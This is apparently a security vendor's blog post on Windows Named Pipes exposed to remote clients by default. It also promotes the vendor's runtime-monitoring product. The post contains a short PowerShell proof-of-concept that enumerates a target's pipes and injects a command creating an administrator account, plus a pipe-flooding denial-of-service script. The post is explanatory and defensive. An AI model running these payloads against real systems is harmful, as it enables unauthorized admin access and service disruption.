Vulnerability Research

Using Runtime Monitoring to Detect the Hidden Threat of Remotely Accessible Named Pipes

At Spektion, our continuous monitoring of software behavior across thousands of products in enterprise environments has revealed a concerning pattern: remotely accessible Named Pipes are far more prevalent than most security teams realize.

Josh Skorich
Josh Skorich
CTO & Co-Founder
April 23, 2025
·
Updated November 3, 2026
·
— min read

On this page

Using Runtime Monitoring to Detect the Hidden Threat of Remotely Accessible Named Pipes

At Spektion, our continuous monitoring of software behavior across thousands of products in enterprise environments has revealed a concerning pattern: remotely accessible Named Pipes are far more prevalent than most security teams realize. Our runtime evidence shows this hidden attack surface in numerous commercial products. It creates a security risk that traditional tools miss entirely, and it is only sometimes captured in a CVE, which leaves organizations exposed to an exploitable vulnerability.

What exactly are Named Pipes?

Named Pipes are a Windows IPC (Inter-Process Communication) mechanism that allows processes to communicate across local or network boundaries. They’re implemented with a familiar file-like interface, making them convenient for developers, but this convenience comes with risk. Most critically, Named Pipes are remotely accessible by default when the Windows “server” service is running.

Unix-like systems (macOS, Linux) also have “named pipes” created with mkfifo, but these operate differently from Windows Named Pipes. Unix pipes are strictly local to the system and aren’t network-accessible. Windows developers who come from those environments might not fully appreciate the distinction.

The typical Windows Named Pipe creation pattern looks something like this:

HANDLE hPipe = CreateNamedPipeW(
    "\\\\.\\pipe\\MyPipeName",           // pipe name
    PIPE_ACCESS_DUPLEX,                  // read/write access
    PIPE_TYPE_MESSAGE |                  // message-type pipe
    PIPE_READMODE_MESSAGE |              // message-read mode
    PIPE_WAIT,                           // blocking mode
    PIPE_UNLIMITED_INSTANCES,            // unlimited instances
    BUFFER_SIZE,                         // output buffer size
    BUFFER_SIZE,                         // input buffer size
    0,                                   // client time-out
    NULL);                               // default security attributes

Notice anything concerning? The default security descriptor grants read access to Everyone and to the anonymous account, and the pipe accepts remote clients unless the developer rejects them. The pipe becomes accessible over the network to anyone who can reach your system.

Why security teams should care

The key issue isn’t that Named Pipes are inherently vulnerable, but rather that developers often create them with a false sense of security. Many developers assume that Named Pipes operate within a trusted security boundary (the local system), when in fact they’re exposed to network access by default.

This misconception leads to:

  1. Insufficient input validation: Developers may not rigorously validate data coming from pipes, assuming it’s from trusted local processes
  2. Missing authentication: Without explicit security controls, any remote user can connect to and interact with these pipes
  3. Resource exhaustion vulnerabilities: Even with careful input validation, attackers can sometimes cause denial-of-service conditions by flooding pipes with large amounts of data, consuming memory and processing resources

When software reads data from remotely accessible Named Pipes without these considerations, it introduces potential vulnerabilities that can lead to:

  • Data interception
  • Denial of Service (DoS)
  • Privilege escalation
  • Remote code execution (RCE)

How attacks work in practice

Let’s look at a simple attack scenario. Imagine a service running as SYSTEM (as many do) that creates a Named Pipe and processes commands from it:

# Attack proof-of-concept
# First, discover potentially vulnerable pipes
$pipes = '\\target-machine\pipe\*'
Get-ChildItem $pipes | Select-Object Name

# Next, connect to a vulnerable pipe and send malicious payload
$pipe = New-Object System.IO.Pipes.NamedPipeClientStream("target-machine", "VulnerablePipe", System.IO.Pipes.PipeDirection.InOut)
$pipe.Connect(1000)
$writer = New-Object System.IO.StreamWriter($pipe)
$writer.WriteLine('{"cmd":"exec", "payload":"net user attacker P@ssw0rd /add & net localgroup administrators attacker /add"}')
$writer.Flush()

In this scenario, a remote attacker discovers an exposed pipe, connects to it, and injects a command that creates a new administrative user. Because the service processes these commands with SYSTEM privileges, the attack succeeds without requiring initial access to the target system.

Even if the application has robust input validation for command injection, it might still be vulnerable to resource exhaustion:

# DoS attack via resource exhaustion
$pipe = New-Object System.IO.Pipes.NamedPipeClientStream("target-machine", "VulnerablePipe", System.IO.Pipes.PipeDirection.InOut)
$pipe.Connect(1000)
$writer = New-Object System.IO.StreamWriter($pipe)

# Generate massive amounts of data to exhaust server resources
$largeData = "A" * 1000000
while($true) {
    $writer.WriteLine($largeData)
    $writer.Flush()

This attack could potentially cause the service to crash or become unresponsive by overwhelming its memory allocation or processing capacity.

Real-world impact: Attacks in the wild

This isn’t just theoretical. CVEs published between 2020 and 2024 show the pattern in shipping software:

  • CVE-2024-24974 let remote computers reach the OpenVPN interactive service pipe on Windows. Microsoft’s researchers chained it with two other OpenVPN flaws into remote code execution and local privilege escalation. OpenVPN fixed it in versions 2.6.10 and 2.5.10 in March 2024.
  • CVE-2024-25029 in IBM Personal Communications exposed a Windows service through an unprotected named pipe, and any user with network access to the machine could run commands as SYSTEM.
  • CVE-2020-8884 in the Proofpoint Insider Threat Management Windows Agent let a remote attacker with valid credentials run code as SYSTEM through improper deserialization over named pipes.
  • CVE-2020-28912 allowed data interception via a Named Pipe man-in-the-middle attack on MariaDB for Windows, where a local user could create a pipe instance under the server’s name and read the traffic.

The pattern keeps showing up. Since this post was published, Spektion’s runtime evidence has found it three more times in shipping software. Adobe Genuine Service creates named pipes that grant Everyone write access and accept remote clients, with one of them served by a process running as SYSTEM, and Adobe published it as CVE-2026-71381, a local 4.0. Citrix Workspace app for Windows created an externally reachable, bidirectional pipe with Everyone write access and accepted input without checking who was calling, and no CVE came out of it. WinRAR creates a remotely accessible pipe named winrar_pipe_*, with no CVE attached.

Vulnerable software categories identified

By April 2025, Spektion’s runtime evidence had identified numerous categories of commercial applications that expose Named Pipes without proper authentication, including:

  • Enterprise print management systems
  • PDF processing and conversion utilities
  • Remote desktop and support solutions
  • Development IDEs and debugging tools
  • Hardware driver and support software
  • Communication and collaboration platforms
  • Cloud storage synchronization clients

Why traditional security tools miss this

Traditional vulnerability scanners and security tools often miss these issues for several reasons:

  1. Static analysis limitations: Named Pipe vulnerabilities often manifest only at runtime when specific API calls are made with particular parameters.
  2. No CVE until disclosure/exploitation: These issues aren’t typically discovered until a researcher or attacker actively exploits them, meaning traditional CVE-based approaches are inherently reactive.
  3. Configuration drift: Security posture changes over time as software is updated, reconfigured, or new applications are installed, and each change can introduce a vulnerable Named Pipe.
  4. Boundary misconception: Security tools may not prioritize Named Pipe risks because they also operate under the misconception that pipes are local communication channels.

The power of Spektion’s runtime monitoring

Spektion’s shift-left approach fundamentally changes how we identify these risks before they become exploitable vulnerabilities. Rather than waiting for vulnerability disclosures or conducting point-in-time assessments, our continuous runtime monitoring:

  1. Identifies risky patterns before exploitation: By monitoring CreateNamedPipe API calls and analyzing their parameters and security descriptors, we instantly flag pipes accessible to remote users, before attackers discover them.
  2. Maps your actual attack surface: Rather than theoretical vulnerabilities, Spektion shows your actual exposure based on running software, identifying the specific applications creating these risky pipes.
  3. Provides actionable remediation insights: Instead of just alerting on vulnerable pipes, we identify the specific software responsible, enabling targeted mitigation strategies.
  4. Finds undisclosed vulnerabilities before a CVE is published: By watching how the software behaves, we flag the exposed pipe before anyone files a CVE.

Our proactive approach not only identifies vulnerable software but provides security teams with the context they need to prioritize remediation efforts based on real risk rather than theoretical vulnerabilities.

Detection and remediation

For security teams using Spektion, our platform automatically identifies applications that create remotely accessible Named Pipes, providing immediate visibility into this often-overlooked attack surface. If your organization develops software internally, we recommend providing your development teams with secure coding guidelines that include:

  1. Using the PIPE_REJECT_REMOTE_CLIENTS flag whenever possible
  2. Implementing proper authentication for any Named Pipes
  3. Treating all data from Named Pipes as potentially malicious, with rigorous input validation
  4. Implementing resource consumption limits to prevent DoS conditions

For security teams without runtime monitoring capabilities, this risk presents a significant blind spot that’s difficult to address with traditional tools.

Conclusion

Named Pipes represent a perfect example of how runtime monitoring identifies risks that traditional approaches can’t see. By shifting security left and continuously evaluating software behavior, Spektion gives security teams a way to identify and remediate these hidden threats before they become the next in-the-wild exploit.

Security teams need visibility into IPC surfaces like Named Pipes, and traditional vulnerability management cannot deliver it. Most security tools focus on known CVEs and signature-based detection. Spektion’s runtime monitoring adds the missing layer: it identifies actual risk exposure from live systems. That layer complements an existing security stack, and it changes how teams prioritize remediation by focusing on the actual attack surface rather than theoretical vulnerabilities. With Spektion, security teams move from reactive firefighting to proactive risk management and shorten their exposure windows.

The next time you evaluate your organization’s attack surface, consider whether you have visibility into the Named Pipes your software is creating. Some of those pipes might be exposing your most sensitive systems to remote attackers because of a misunderstood security boundary.

‍

See what's exploitable in your environment, whether there's a CVE for it or not.

Many exploitable vulnerabilities never get a CVE. Book a demo to see how Spektion finds what's actually exploitable across your endpoints.

Book a Demo